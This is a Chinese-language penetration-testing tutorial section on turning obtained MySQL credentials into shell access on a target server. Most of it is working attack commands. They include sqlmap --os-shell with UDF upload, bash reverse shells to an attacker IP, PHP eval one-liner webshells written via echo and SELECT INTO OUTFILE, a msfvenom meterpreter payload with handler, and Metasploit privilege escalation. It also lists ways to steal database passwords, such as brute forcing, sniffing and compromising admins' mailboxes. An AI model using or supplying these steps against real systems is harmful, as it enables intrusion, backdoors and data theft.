4.3 使用sqlmap直連MySQL獲取webshell
在一些場景下,需要通過MySQL直接連接來獲取權限,如果通過暴力破解,嗅探等方法獲取了賬戶和密碼,而服務器沒開放Web服務的情況,那么就得直接通過數據庫獲取一定的權限了
4.3.1 使用場景
(1) 獲取了MySQL數據庫賬戶和密碼
(2) 可以訪問3306端口及數據庫
4.3.2 掃描獲取root賬戶的密碼
通常有下面一些方法來獲取root賬戶的密碼
(1) phpMyAdmin 多線程批量破解工具,可以通過收集phpMyAdmin地址進行暴力破解
(2) 代碼泄露獲取數據庫賬戶和密碼
(3) 文件包含讀取配置文件中的數據庫賬戶和密碼
(4) 通過網絡嗅探獲取
(5) 滲透運維人員的郵箱及個人主機獲取
4.3.3 獲取shell
1. 通過sqlmap連接MySQL獲取shell
(1) 直接連接數據庫
sqlmap.py -d "mysql://root:123456@127.0.0.1:3306/mysql" --os-shell
需要注意的小細節
mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' or 'access://DATABASE_FILEPATH'
https://github.com/PyMySQL/PyMySQL
pip install PyMySQL
======================================================================================================
SQLAlchemy not available
pip install SQLAlchemy
============================================================================================================
[CRITICAL] SQLAlchemy connection issue ('ModuleNotFoundError: No module named 'MySQLdb'')
pip install mysql-connector-python-rf
pip install wheel
pip install -i https://pypi.douban.com/simple/ mysql-connector-python-rf
最終在kali環境下安裝如下模塊即可連接
apt-get install python-mysqldb
https://stackoverflow.com/questions/22252397/importerror-no-module-named-mysqldb
pip install pymysql 經過測試,安裝此模塊即可解決問題
=======================================================================================
解決本地搭建環境可以直接通過sqlmap的-d參數直接利用mysql獲取交互式shell
參考文檔:
https://xz.aliyun.com/t/7416 此篇先知的文章並未詳細說明,按照此文章的方法並未成功,結果是通過下面的文章解決問題
https://www.cnblogs.com/caya-yuan/p/11898915.html
具體操作的命令如下:
cd /usr/lib/systemd/system
vim mariadb.service
將如下默認的mysql用戶改成root權限用戶
[Service]
Type=simple
#User=mysql
#Group=mysql
Group=root
User=root
systemctl daemon-reload
systemctl start mariadb.service
ps -ef | grep mysql -- 這個是查看是不是root用戶運行的,確認沒有問題就可以開始操作下面的命令進行提權生成交互式shell吧
=======================================================================================
python sqlmap.py -d "mysql://root:root@106.54.35.126:3306/mysql" --os-shell 這個測試環境是我自己的vps
效果展示:
=======================================================================================
python sqlmap.py -d "mysql://root:root@106.54.35.126:3306/mysql" --os-shell
(2) 通過選擇32位或者64位操作系統webshell,執行
bash -i >& /dev/tcp/10.12.22.33/8899 0>&1
(3) 反彈到服務器10.12.22.33 實際的環境中就是自己的獨立公網IP地址
(4) 通過echo命令生成shell
echo "<?php @eval($_POST['bmfx']);?>" > /var/www/html/data/phpmyadmin/bmfx.php
如果可以通過phpmyadmin管理數據庫,就可以修改host為"%" 並執行權限更新操作,具體如下:
use mysql;
update user set host = '%' where user = 'root';
flush privileges;
注意:如果數據庫中有都個host連接,修改時可能會導致數據庫連接出問題
2. 通過MSF反彈獲取shell
(1) 使用msfvenom生成MSF反彈的PHP腳本木馬,默認端口4444
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.12.22.33 -f raw > bmfx.php
(2) 在獨立IP或者反彈服務器上運行MSF依次執行一下命令
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 10.12.22.33 //這個IP地址就是自己的獨立服務器IP地址,
show options
run 0 或者 exploit
(3) 上傳並執行PHP文件
將上面生成的bmfx.php文件上傳至目標站點,然后訪問,如果沒有問題的話,那么MSF會顯示成功反彈shell
3. 通過PHPMyAdmin管理解碼查詢生成webshell
select '<?php @eval($_POST[bmfx]);?>' INTO OUTFILE 'F:/phpstudy/www/bmfx.php'
4.3.4 實例演示
1. 直接連接MySQL數據庫
sqlmap.py -d "mysql:/root:123456@xxx.xx.xx.xx:3306/mysql" --os-shell
如果上述成功了, 會讓你選中服務器架構是32位還是64位
2. 上傳UDF文件
在上述操作選擇系統架構之后,sqlmap會自動上傳UDF文件到服務器提權位置,記住,不管獲取的shell是否成功都會顯示os-shell提示符
3. 執行命令
cat /etc/passwd
如果是真的成功獲取了shell,那么執行的結果就是我們想要的信息
4. 獲取反彈shell
雖然通過sqlmap獲取了shell,但實際操作的話着實不方便,需要使用獨立的服務器進行反彈shell
nc -lvnp 9988
在sqlmap的shell執行
bash -i >& /dev/tcp/10.12.22.33:9988 0>&1
5. 在服務器上生成webshell
上述操作如果沒有任何問題,那么就可以找到真實路徑直接生成webshell,可以在獲取的反彈shell中執行locate *.php找到網站的真實路徑,然后在該路徑下通過echo命令生成webshell,具體如下:
echo "<?php @eval($_POST['bmfx]);?>" > bmfx.php
6. 獲取webshell
上面在服務器上生成的webshell是一句話,可以通過中國菜刀連接此一句話,進行獲取webshell
7. 通過phpMyAdmin生成一句話后門
select '<?php @eval($_POST[bmfx]);?>' INTO OUTFILE '/var/www/phpmyadmin/bmfx.php'
8. 通過MSF反彈獲取shell
9. MSF提權參考
通過MSF反彈shell,執行background將Session放在后台運行,然后搜索可以利用的exploit來進行測試,具體命令如下:
background
search "關鍵字" //這里是跟漏洞相關的關鍵字,比如search tomcat 等等
use exploit/linux
show options
set session 1
exploit
sessions -i 1
getuid
實戰測試,可用參考這邊文章:https://xz.aliyun.com/t/7416
